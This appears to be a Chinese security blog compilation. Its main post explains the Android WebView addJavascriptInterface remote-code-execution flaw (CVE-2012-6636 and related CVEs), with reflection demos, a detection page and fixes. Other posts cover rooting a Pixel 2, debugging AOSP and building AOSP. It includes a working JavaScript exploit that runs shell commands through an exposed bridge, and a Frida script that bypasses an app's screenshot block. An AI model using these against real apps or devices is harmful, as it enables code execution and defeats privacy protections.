Android WebView 漏洞

☆ 来自 developer.android.com 的信息

Android 官方网站对addJavascriptInterface的介绍如下:

1
2
3
4
5
6
7
8
9
10
11
12
public void addJavascriptInterface (Object object, String name)  Added in API level 1

Injects the supplied Java object into this WebView. The object is injected into
the JavaScript context of the main frame, using the supplied name. This allows
the Java object's methods to be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN_MR1 and above, only public methods that are
annotated with JavascriptInterface can be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN or below, all public methods (including the inherited ones)
can be accessed, see the important security note below for implications.

Note that injected objects will not appear in JavaScript until the page is next
(re)loaded. For example:
1
2
3
4
5
6
7
8
9

class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}

webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
This method can be used to allow JavaScript to control the host application. 
This is a powerful feature, but also presents a security risk for apps targeting
JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still
vulnerable if the app runs on a device running Android earlier than 4.2. The
most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the
method is called only when running on Android 4.2 or later. With these older
versions, JavaScript could use reflection to access an injected object's public
fields. Use of this method in a WebView containing untrusted content could allow
an attacker to manipulate the host application in unintended ways, executing
Java code with the permissions of the host application. Use extreme care when
using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this
WebView. Care is therefore required to maintain thread safety.

The Java object's fields are not accessible.
For applications targeted to API level LOLLIPOP and above, methods of injected
Java objects are enumerable from JavaScript. Parameters object the Java object
to inject into this WebView's JavaScript context. Null values are ignored.
name the name used to expose the object in JavaScript

之所以提供addJavascriptInterface是为了WebView中的Javascript可以和本地的App
通讯,这确实是一个很强大的功能,这么做的好处在于本地App逻辑不变的情况下,不
需要升级App就可以对程序进行更新,修改相应的Web页面就可以了。

☆ 相关知识

WebView的使用方法

在layout中定义 , 在Activity的onCreate中加入下面的代码

1
2
3
WebView webview = new WebView(this);
setContentView(webview);
webview.loadUrl("http://slashdot.org/");

Java Reflection

反射是java语言提供的一种机制,使Java程序可以在运行时检查类、接口、方法和成员,
而不需要在编译的时候知道类的名字和方法等细节信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

package Reflect;
import java.lang.reflect.Method;

class Demo {

public void a1() {
}

public void a2() {
}

}

class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {

Class c = mObjectClass.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime", null);
m.setAccessible(true);
Object obj = m.invoke(null, null);

Class c2 = obj.getClass();
String[] array = {"/bin/sh", "-c", "id > /tmp/id"};
Method n = c2.getMethod("exec", array.getClass());
n.invoke(obj, new Object[]{array});

} catch (Throwable e) {
System.out.println(e.toString());
}
}

}

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a2
method = a1
method = wait
method = wait
method = wait
method = equals
method = toString
method = hashCode
method = getClass
method = notify
method = notifyAll

命令执行成功。

通过reflection 访问private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

package Reflect;

import java.lang.reflect.Method;

class Demo {

private void a1() {
System.out.println("I am a1");
}

public void a2() {
System.out.println("I am a2");
}

}


class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getDeclaredMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {
Object o = mObjectClass.newInstance();
methods[0].setAccessible(true);
methods[0].invoke(o);
} catch (Throwable e) {
}
}

}

运行结果:

1
2
3
4
5
6
7
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a1
method = a2
I am a1

已经成功调用了Demo的private a1 方法

☆ 相关漏洞

CVE-2013-4710

Disney Mobile、eAccess、KDDI、NTT DOCOMO、SoftBank设备上的Android 3.0至4.1.x版
本中存在安全漏洞,该漏洞源于程序没有正确实现WebView类。远程攻击者可借助特制的网
页利用该漏洞执行任意Java对象的方法或造成拒绝服务(重启)

CVE-2012-6636 (关键的CVE)

该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可
通过使用Java Reflection 利用该漏洞执行任意Java对象的方法。影响使用 API Level 16
以及之前的Android 系统。(Android 4.2 为 API Level 17)

CVE-2014-1939 searchBoxJavaBridge_ in Android Jelly Bean

此漏洞公布了一个可利用的Java Object “searchBoxJavaBridge_”

CVE-2014-7224

根据 android/webkit/AccessibilityInjector.java 代码中的介绍,发现当系统辅助
功能中的任意一项服务被开启后,所有由系统提供的WebView都会被加入两个JS objects,
分别为是”accessibility” 和 “accessibilityTraversal”。如果APP使用了系统的WebView
并且设置了setJavaScriptEnabled(),那么恶意攻击者就可以使用”accessibility” 和
“accessibilityTraversal” 这两个Java Bridge来执行远程攻击代码

分析

这些CVE中最核心的是CVE-2012-6636, 出现的问题是接口定义问题。是非常经典的
do a 变成 do b 的例子,后面的修复方法也是保证了do a 就是 do a。

☆ 漏洞检测

使用WebView访问下面页面,输出的接口名称则存在漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>WebView漏洞检测</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=0">
</head>
<body>
<p>
<b>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b>
</p>
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br />');
}catch(e){
}
}
} catch(e) {
}
}
}
check();
</script>
</body>
</html>

现代浏览器都实现基本一致的BOM,使得JavaScript和浏览器进行消息传递。
是否有getClass的方法,可以作为检测WebView漏洞依据。

在Android 4.1.1 原生系统上测试,在默认配置下,存在 searchBoxJavaBridge_
可以利用,CVE-2014-7224上的两个接口,并没有成功暴露。看了源代码后发现必须
打开Accessibility 设置中的Enhance Web accessibility 才会暴露这个两个接口,
因此CVE-2014-7224的影响并不像想象中的那么大。

☆ 漏洞利用的方法

1
2
3
4
5
6
7
<script>
function execute(cmd){
return
window.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

jsinterface是导出的Java对象, 测试成功,权限是app 的用户权限。

☆ 修复方法和现状

Google宣布不为小于Android 4.4 的系统提供WebView补丁, 具体可以参见链接:

https://community.rapid7.com/community/metasploit/blog/2015/01/11/google-no-longer-provides-patches-for-webview-jelly-bean-and-prior

要解决WebView的RCE漏洞,比较靠谱的方法是升级Android系统,至少要升级到
API level 17 (Android 4.2), WebView 除了最严重的RCE漏洞,还有各种SOP漏洞,所
以至少要升级到Android 4.4才能保证安全,小于Android 4.4 Google不提供补丁。
Android 4.4 以后使用以chrome为基础的WebView。

升级系统API level 17后,只有显示添加 @JavascriptInterface的方法才能被JavaScript
调用,这样反射就失去作用了。

1
2
3
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
removeJavascriptInterface("searchBoxJavaBridge_");

☆ 参考链接

☆ 思考

WebView 中还提供了一个方法让我们可以获得控制的机会

1
2
3
4
5
6
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.substring(0,6).equalsIgnoreCase("yourscheme:")) {
// parse the URL object and execute functions
}
}

如果使用上面的代码,在网页的javascript中添加下面的代码,就可以进入后面的解析
URL流程,如果后续代码没有进行严格的检查可能会有一些其他的安全问题。

1
window.location = yourscheme://method?parameter=value

Google对这个方法的解释如下:

1
2
3
4
5
6
7
Give the host application a chance to take over the control when a new url 
is about to be loaded in the current WebView. If WebViewClient is not
provided, by default WebView will ask Activity Manager to choose the proper
handler for the url. If WebViewClient is provided, return true means the
host application handles the url, while return false means the current
WebView handles the url. This method is not called for requests using
the POST "method".

其实就是当WebView加载新的URL时给App程序一个控制的机会,这还是有一些想象空间的。

root Pixel2 Android 11 的方法

要正常使用 frida 首先需要把手机给 root 了, 在最近测试的情况发现 Android 10 和 Android 11 系统工作比较正常, Android 6
和其他系统似乎差一些?

要刷机首先需要下载 adb 等工具,这些工具由 Android 的 SDK platform tools 提供,下载地址为:https://developer.android.com/studio/releases/platform-tools
选择相应的操作系统版本下载即可, Google 提供了 Windows、Linux、Mac 等系统的支持。

基础镜像可以选择的 Google 的官方镜像 Factory Image,如果能自己编译 Android 系统则更好,在调试的时候可以看到系统库的符号。

我的 Android 手机为 Pixel 2 在 https://developers.google.com/android/images#walleye 上可以查找相应的镜像, 下个最新的 https://dl.google.com/dl/android/aosp/walleye-rp1a.201005.004.a1-factory-0c23f6cf.zip

要想刷镜像前提条件是先要解锁 bootloader, Pixel2 新手机解锁的命令和以前有变化,可以参考 https://source.android.com/devices/bootloader/locking_unlocking

1
2
adb reboot bootloader
fastboot flashing unlock_critical

下载解压后,里面有个 flash-all 的脚本,将手机重启到 fastboot 模式后可以直接运行, adb reboot bootloader, 重启到 fastboot 模式后,执行 flash-all 脚本,刷机系统镜像就完成了。

以前 root Android 用的都是 SuperSU 和 TWRP, 这次使用了一个不同的方法 Magisk , 安装的方法参见:
https://topjohnwu.github.io/Magisk/install.html

有两种模式, patch boot 或者 patch recovery, 安装 Magisk app 后如果界面显示 Ramdisk:Yes,则需要 patch boot。
Magisk app 的下载地址 https://github.com/topjohnwu/Magisk/releases/download/v23.0/Magisk-v23.0.apk

安装 Magisk app 后, 选择需要 patch 的镜像文件,选择后会自动生成新的修改过后的镜像文件。
获得修改后的镜像文件后,需要将修改后的镜像文件重新刷一次

1
fastboot flash boot /path/to/magisk_patched.img #or fastboot flash recovery /path/to/magisk_patched.img

刷完新的修改后的镜像,重启系统,Root 就完成了。

恢复 Android App 的截屏功能

今天遇上某 App 禁止截屏,其实就是使用了下面这段代码

1
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);

使用 frida 脚本可以绕过绕过这个限制 (使用 frida 需要将手机 root)。

1
2
3
4
5
6
7
8
9
10
11
12
13
Java.perform(function () {
// https://developer.android.com/reference/android/view/WindowManager.LayoutParams.html#FLAG_SECURE
var FLAG_SECURE = 0x2000;
var Window = Java.use("android.view.Window");
var setFlags = Window.setFlags; //.overload("int", "int")

setFlags.implementation = function (flags, mask) {
console.log("Disabling FLAG_SECURE...");
flags &= ~FLAG_SECURE;
setFlags.call(this, flags, mask);
// Since setFlags returns void, we don't need to return anything
};
});

执行 frida 命令 frida -U -l disable.js -n com.apps.android --no-pause

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ frida -U -l disable.js -n com.apps.android --no-pause

[Pixel 2::com.apps.android]->
[Pixel 2::com.apps.android]->
[Pixel 2::com.apps.android]-> Disabling FLAG_SECURE...
Disabling FLAG_SECURE...
Disabling FLAG_SECURE...
Disabling FLAG_SECURE...
Disabling FLAG_SECURE...
Disabling FLAG_SECURE...
Disabling FLAG_SECURE...
Disabling FLAG_SECURE...
Disabling FLAG_SECURE...
Disabling FLAG_SECURE...

值得注意的是,这里使用了 -n 参数, attach 到目标进程,要不 App 会自动重启。看到输出调试信息后,
就可以正常截屏了。

使用 objection

objection「2」有此功能,执行下面命令即可: android ui FLAG_SECURE false 但是我测试失败了。

截屏小技巧 (lzx)

Android 截屏,可以使用一个快速的技巧 adb exec-out screencap -p > test.png

参考

调试AOSP Java 代码

下载 Android 源代码,编译

1
2
3
4
5
$ source build/envsetup.sh
$ lunch
$ make
$ mmm development/tools/idegen/
$ ./development/tools/idegen/idegen.sh

运行后将生成下面几个文件

1
2
3
android.ipr (IntelliJ / Android Studio)
android.iml (IntelliJ / Android Studio)
.classpath (Eclipse)
  1. 在Android Studio 中导入 android.ipr

File -> Open 选择 android.ipr, 导入后可以Android Studio 中浏览AOSP 源码

  1. 设置远程调试配置文件

Run -> Edit Configuration 点击左上角的 + 类型选择 Remote

  1. Attack 到需要调试的进程

这里有两种方法,一是使用SDK 提供的 Monitor 二是使用 Android Studio 自带的
Attach debugger to Android Process 按钮。

连接成功后将看到 Connected to the target VM

  1. 设置断点

设置断点很简单,用鼠标点击源码文件的左边栏,看见红色圆点说明就已经设置成功了。也
可以使用Ctrl + F8 的快捷键。

  1. 运行程序,触发断点

需要注意的是在调试过程中会出现源码对不上的情况,需要自己选择正确的源码。关于哪些
进程可以调试的问题,上篇已经有记录,这里就不在说了。

参考资料

  1. AOSP Sources in the IDE
    https://newcircle.com/s/post/1720/aosp_sources_in_the_ide
  2. Debugging AOSP Platform code with Android Studio - Part I - Java Debugger
    http://ronubo.blogspot.sg/2016/01/debugging-aosp-platform-code-with.html

编译 Android 系统源码 (AOSP)

☆ 1. 下载源码

由于众所周知的原因,国内访问 Android 源码不大方便, 清华大学做了一件好事, 弄了个 mirror。

https://mirrors.tuna.tsinghua.edu.cn/help/AOSP/

下载 repo

Google 自己搞一个源码同步工具,需要下下载。

1
2
3
4
mkdir ~/bin
PATH=~/bin:$PATH
curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
chmod a+x ~/bin/repo

上面命令,下载 repo 并将 ~/bin 加入 PATH 环境变量

使用每月更新的初始化包

1
2
3
4
5
6
wget -c https://mirrors.tuna.tsinghua.edu.cn/aosp-monthly/aosp-latest.tar # 下载初始化包
tar xf aosp-latest.tar
cd AOSP # 解压得到的 AOSP 工程目录
# 这时 ls 的话什么也看不到,因为只有一个隐藏的 .repo 目录
repo sync # 正常同步一遍即可得到完整目录
# 或 repo sync -l 仅checkout代码

使用这个初始包的好处挺多,应该可以减少一些网络 IO

编译特定版本的 Android

1
2
repo init -u https://aosp.tuna.tsinghua.edu.cn/platform/manifest -b android-4.0.1_r1
repo sync

其中版本号的对应关系可以从这个页面获得:

https://source.android.com/setup/start/build-numbers

下载对应设备的 Driver Binary

Pixel 2 就直接可以看这个 https://developers.google.com/android/drivers#walleye
目前最新的两个链接为:

将这两个文件在 aosp 根目录解压

1
2
tar zxvf google_devices-walleye-pq2a.190305.002-78f45eb0.tgz
tar zxvf qcom-walleye-pq2a.190305.002-a7c70412.tgz

将得到两个文件 extract-google_devices-walleye.shextract-qcom-walleye.sh
这两个文件为自解压文件,直接执行即可。

1
2
./extract-google_devices-walleye.sh
./extract-qcom-walleye.sh

☆ 2. 编译源码

切换到 aosp 根目录

1
2
3
4
make clobber
source build/envsetup.sh
lunch aosp_arm-eng
make -j4

执行 lunch 可以看到支持的各种 build, 自行选择即可。
编译成功后,将在 out/target/product/walleye/ 目录下生成镜像文件。

1
2
3
4
5
6
7
8
9
-rw-rw-r-- 1 henices henices   33554432 3月   8 01:55 boot.img
-rw-rw-r-- 1 henices henices 8388608 3月 7 17:56 dtbo.img
-rw-rw-r-- 1 henices henices 1570048 3月 8 01:55 ramdisk.img
-rw-rw-r-- 1 henices henices 8721730 3月 8 01:55 ramdisk-recovery.img
-rw-rw-r-- 1 henices henices 1175523656 3月 8 02:17 system.img
-rw-rw-r-- 1 henices henices 84722016 3月 8 02:15 system_other.img
-rw-rw-r-- 1 henices henices 4952764 3月 8 01:28 userdata.img
-rw-rw-r-- 1 henices henices 4096 3月 8 02:17 vbmeta.img
-rw-r--r-- 1 henices henices 369635536 3月 7 16:42 vendor.img

☆ 3. 注意事项

清华这个 mirror 是定时同步的,所以实时性并不好,如果遇到某个特定版本下载失败,
可以等待一段时间后,再重新执行同步命令。编译时需要的内存比较大,小内存可能导致编译失败,
另外,如果在虚拟机里编译的话,记得多设置几个CPU核,这样编译速度会快一些。

参考资料